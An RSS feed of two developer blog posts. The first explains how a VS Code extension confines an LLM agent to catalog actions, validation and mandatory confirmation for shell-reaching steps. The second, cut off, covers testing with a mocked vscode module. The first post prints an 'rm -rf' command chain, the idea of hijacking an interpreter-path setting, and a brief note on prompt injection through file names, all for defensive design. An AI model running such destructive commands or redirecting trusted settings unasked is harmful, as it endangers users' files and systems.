<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Alex</title>
    <description>The latest articles on DEV Community by Alex (@meness).</description>
    <link>https://dev.to/meness</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4198982%2Faa6e4936-2319-499b-bee4-0a0538842801.png</url>
      <title>DEV Community: Alex</title>
      <link>https://dev.to/meness</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/meness"/>
    <language>en</language>
    <item>
      <title>Letting an LLM operate VS Code without letting it run whatever it wants</title>
      <dc:creator>Alex</dc:creator>
      <pubDate>Thu, 22 Oct 2026 22:07:37 +0000</pubDate>
      <link>https://dev.to/meness/letting-an-llm-operate-vs-code-without-letting-it-run-whatever-it-wants-5b0m</link>
      <guid>https://dev.to/meness/letting-an-llm-operate-vs-code-without-letting-it-run-whatever-it-wants-5b0m</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fghmkann5nivgs1s4d5gy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fghmkann5nivgs1s4d5gy.gif" alt="How a plain-English command picks only from a catalog of real actions, and why the confirmation step is where it gets interesting." width="760" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The popup is the real Slashi webview. The progress notification and the confirmation dialog are VS Code's own UI, recreated from a real run whose output appears below.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;Slashi&lt;/a&gt;, the VS Code extension I maintain, you can type &lt;code&gt;/do make the font bigger and turn on word wrap&lt;/code&gt; and it happens. That's a small agent: a model reads a request and changes your editor.&lt;/p&gt;

&lt;p&gt;The usual way to build this is to give the model tools, often including a shell, and let it decide. I didn't want a model with a shell sitting one keystroke away in every editor. So &lt;code&gt;/do&lt;/code&gt; works differently: the model can only choose from a list of actions Slashi already knows, every choice is checked against that list, and you see the plan before it runs.&lt;/p&gt;

&lt;p&gt;Code is from Slashi 0.6.0, October 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: build a shortlist, not a toolbox
&lt;/h2&gt;

&lt;p&gt;Slashi already has a catalog of a few hundred things it can do: VS Code commands with slash names, settings, project scripts, Git actions, file actions. Sending all of it to the model on every request would be slow and noisy, so the request is first run through the same fuzzy ranker the popup uses, in a mode where &lt;em&gt;any&lt;/em&gt; word may match instead of all of them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseQuery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ranked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;rank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;indexItems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;all&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;limit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;any&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Settings that make the shortlist are added again by their exact key, with their type or allowed values, so the model can set a precise value. For "make the font bigger and turn on word wrap", the shortlist in my test run (against the catalog Slashi's smoke test captures) had 87 entries, including &lt;code&gt;editor.fontSize (number)&lt;/code&gt; and &lt;code&gt;editor.wordWrap (one of off | on | wordWrapColumn | bounded)&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: ask for JSON with a fixed shape
&lt;/h2&gt;

&lt;p&gt;The system prompt describes exactly three kinds of step, and a few rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{"reply": "one short sentence describing what you will do",
 "steps": [
   {"type": "item", "id": "&amp;lt;catalog id&amp;gt;", "args": "&amp;lt;optional&amp;gt;", "why": "&amp;lt;few words&amp;gt;"},
   {"type": "setting", "key": "&amp;lt;setting key from the catalog&amp;gt;", "value": &amp;lt;JSON value&amp;gt;, "why": "&amp;lt;few words&amp;gt;"},
   {"type": "terminal", "command": "&amp;lt;shell command&amp;gt;", "why": "&amp;lt;few words&amp;gt;"}
 ]}
Rules:
- Prefer catalog items over terminal commands. Use a terminal step only when no catalog item fits.
- Never invent ids or setting keys. If nothing fits, return an empty steps array and explain in reply.
- Keep plans minimal: usually 1–3 steps, in execution order.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user message is the shortlist (&lt;code&gt;id | kind | title&lt;/code&gt;) followed by the request, plus a line of context: the OS, the current file's language, whether text is selected, and the detected project stack.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: what a model actually sends back
&lt;/h2&gt;

&lt;p&gt;To check this post against reality, I ran the exact prompt (built with Slashi's own &lt;code&gt;buildIntentPrompt&lt;/code&gt; from the 87-entry shortlist) through Claude Opus 5.5. The raw response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"reply"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"I'll increase the editor font size to 16 and turn on word wrap."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"steps"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setting"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"key"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"editor.fontSize"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"why"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bigger font"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setting"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"key"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"editor.wordWrap"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"on"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"why"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"enable word wrap"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two settings, real keys, sensible values. Most requests look like this.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: validate everything against the catalog
&lt;/h2&gt;

&lt;p&gt;The model's output is parsed (the parser pulls the first JSON object out of whatever surrounds it, since models sometimes add a sentence or a code fence) and then checked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/** Drops steps that reference unknown items or settings so the model can't invent actions. */&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;validatePlan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;IntentPlan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;knownItemIds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ReadonlySet&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;knownSettingKeys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ReadonlySet&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;ValidatedPlan&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PlanStep&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dropped&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;step&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;item&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;knownItemIds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nx"&gt;dropped&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`unknown action “&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;”`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;setting&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;knownSettingKeys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nx"&gt;dropped&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`unknown setting “&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;”`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nx"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;step&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;dropped&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(From &lt;a href="https://github.com/meness/slashi/blob/main/src/core/intent.ts" rel="noopener noreferrer"&gt;&lt;code&gt;src/core/intent.ts&lt;/code&gt;&lt;/a&gt;.) A step naming an action or setting Slashi doesn't have is dropped and logged, not guessed at. A plan longer than 10 steps is cut off. If nothing valid is left, you get the model's reply as a message and nothing runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: the confirmation, and when it can't be skipped
&lt;/h2&gt;

&lt;p&gt;By default every plan is shown before it runs: the model's one-sentence reply, then each step in plain words with the model's "why":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;I'll increase the editor font size to 16 and turn on word wrap.
1. Set Editor: Font Size = 16  (bigger font)
2. Set Editor: Word Wrap = "on"  (enable word wrap)
                                        [Cancel] [Run Plan]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can turn that confirmation off (&lt;code&gt;slashi.ai.confirmBeforeRun&lt;/code&gt;) for plans that only flip settings or run editor commands. You can't turn it off for steps that can reach a shell. Those are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;terminal steps;&lt;/li&gt;
&lt;li&gt;catalog items that run shell commands or multi-step macros (project scripts, the terminal, your custom commands, pack installs);&lt;/li&gt;
&lt;li&gt;settings that change what runs or what's trusted, matched by a pattern: anything under &lt;code&gt;terminal.&lt;/code&gt;, &lt;code&gt;task.&lt;/code&gt;, &lt;code&gt;security.&lt;/code&gt;, &lt;code&gt;http.&lt;/code&gt;, &lt;code&gt;chat.tools.&lt;/code&gt; or Slashi's own settings, and any key ending in &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;executable&lt;/code&gt;, &lt;code&gt;command&lt;/code&gt;, &lt;code&gt;shell&lt;/code&gt; or &lt;code&gt;tsdk&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last group is the one people forget. "Set &lt;code&gt;python.defaultInterpreterPath&lt;/code&gt; to &lt;code&gt;/tmp/x&lt;/code&gt;" is a settings change, and it decides which binary runs next time you run Python.&lt;/p&gt;

&lt;h2&gt;
  
  
  The case that made me glad the confirmation exists
&lt;/h2&gt;

&lt;p&gt;The second request I tried was "delete node_modules, reinstall and run the tests". The same model returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"reply"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"I'll delete node_modules, reinstall from the lockfile with npm ci, then run the Vitest unit tests in one terminal command so each step waits for the one before it."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"steps"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"item"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"term:run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rm -rf node_modules &amp;amp;&amp;amp; npm ci &amp;amp;&amp;amp; npm test"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"why"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"clean reinstall, then run tests"&lt;/span&gt;&lt;span class="p"&gt;}]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's a reasonable answer to what I asked, and it contains &lt;code&gt;rm -rf&lt;/code&gt;. The prompt tells the model to avoid destructive commands &lt;em&gt;unless explicitly requested&lt;/em&gt;, and I did request it. &lt;code&gt;term:run&lt;/code&gt; reaches a shell, so this plan is always shown, and the command appears in full before anything runs. Rules in a prompt shape what a model tends to do; only the check in code decides what can run without you.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't solve
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The shortlist can miss the right action.&lt;/strong&gt; If the ranking doesn't surface the command you meant, the model can't pick it, and may fall back to a terminal step. That's confirmed, but it's a worse plan.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Setting values aren't type-checked by Slashi.&lt;/strong&gt; The key must exist; the value is passed to VS Code as-is. VS Code flags invalid values in the settings file, but a wrong number of the right type goes through.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Settings are written to your user settings&lt;/strong&gt;, not the workspace, so a &lt;code&gt;/do&lt;/code&gt; in one project changes all of them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The confirmation is only as good as your attention.&lt;/strong&gt; It turns "the model ran something" into "I approved something". That's better, not perfect.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection still applies to the plan.&lt;/strong&gt; File names and the project stack go into the prompt. A hostile file name could try to steer the model, but it can still only pick catalog entries, and anything that reaches a shell is shown first.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;If you're putting a model in charge of a tool, a catalog plus validation plus a confirmation that can't be turned off for dangerous steps gets you most of what an agent with a shell does, for the everyday requests people actually type, without letting the model run something you didn't see.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm the author of Slashi. It's free and MIT-licensed: &lt;a href="https://marketplace.visualstudio.com/items?itemName=meness.slashi" rel="noopener noreferrer"&gt;Marketplace&lt;/a&gt; · &lt;a href="https://open-vsx.org/extension/meness/slashi" rel="noopener noreferrer"&gt;Open VSX&lt;/a&gt; · &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>vscode</category>
      <category>security</category>
      <category>llm</category>
    </item>
    <item>
      <title>Testing a VS Code extension without starting VS Code (and what broke when I did start it)</title>
      <dc:creator>Alex</dc:creator>
      <pubDate>Thu, 22 Oct 2026 07:56:49 +0000</pubDate>
      <link>https://dev.to/meness/testing-a-vs-code-extension-without-starting-vs-code-and-what-broke-when-i-did-start-it-5gm1</link>
      <guid>https://dev.to/meness/testing-a-vs-code-extension-without-starting-vs-code-and-what-broke-when-i-did-start-it-5gm1</guid>
      <description>&lt;p&gt;The official way to test a VS Code extension is to launch a real VS Code with your extension loaded and run tests inside it. It works, and it's slow: download an editor build, start Electron, wait for the window. Too slow to run on every save.&lt;/p&gt;

&lt;p&gt;For &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;Slashi&lt;/a&gt;, the extension I maintain, I ended up with three layers instead, each catching something the others can't. Numbers below are from Slashi 0.6.0 on an Apple M2 Pro, October 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 1: keep most logic out of reach of &lt;code&gt;vscode&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The cheapest test is one that doesn't need an editor at all. Slashi's ranking, query parsing, project detection and validation of commands and packs live in &lt;code&gt;src/core&lt;/code&gt;, which never imports the &lt;code&gt;vscode&lt;/code&gt; module. That rule is what makes the folder testable with plain Vitest:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ npx vitest run
 Test Files  15 passed (15)
      Tests  203 passed (203)
   Duration  369ms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rule costs something: code that needs an editor value has to receive it as a plain argument. Detection, for example, takes a scanned list of file names instead of calling &lt;code&gt;vscode.workspace.findFiles&lt;/code&gt; itself. The extension does the I/O and hands core the data. That split also let the same ranking code run inside the webview, which was the original reason for it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 2: activate the real bundle against a fake &lt;code&gt;vscode&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Unit tests can't tell you whether the extension &lt;em&gt;activates&lt;/em&gt;: whether every command registers, whether the webview protocol round-trips, whether settings are read correctly. In my experience, that's where a lot of real bugs hide.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vscode&lt;/code&gt; is a module the editor injects at runtime; it doesn't exist on npm. In plain Node you can supply your own by intercepting &lt;code&gt;require&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// test/smoke/run.cjs&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:module&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;mock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./vscode-mock.cjs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;originalLoad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_load&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_load&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
